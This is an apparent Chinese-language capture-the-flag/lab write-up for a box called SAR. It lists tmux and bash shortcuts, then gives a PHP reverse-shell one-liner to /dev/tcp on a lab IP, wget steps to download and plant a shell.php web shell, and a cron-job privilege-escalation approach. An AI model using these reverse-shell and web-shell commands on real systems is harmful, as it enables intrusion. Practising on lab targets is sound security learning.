SAR 打靶

前言

自动任务提权

补充

补一波tmux使用

ctrl+B
? manual
% horizontally split
' vertically split
alt+direction move
z zoom
d detach
& kill

tmux ls
tmux attach -t
tmux kill-session -t
tmux kill server

补一波bash使用

ctrl+u 删除至行首
ctrl+k 删除至行末
ctrl+w 删除前面一个word
ctrl+d 删除后面一个单词
ctrl+a 行首
ctrl+e 行尾
alt+b backforward # 可用ctrl+左右替代
alt+f forward
alt+c 当前字母大写，之后字符小写
alt+u upper
alt+l lower

弹shell

这次不知道哪出问题了，shell死都弹不回来

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.199.128/1234 0>&1'"); ?>

如果用php起的服务，那么就得用

wget http://ip:port/shell.txt -O shell.php
# 因为php起的服务会解析php

# 如果用python -m http.server就没问题
wget http://ip:port/shell.php

提权

# 没有sudo
cat /etc/crontab

cat write.sh
# 写弹shell定时任务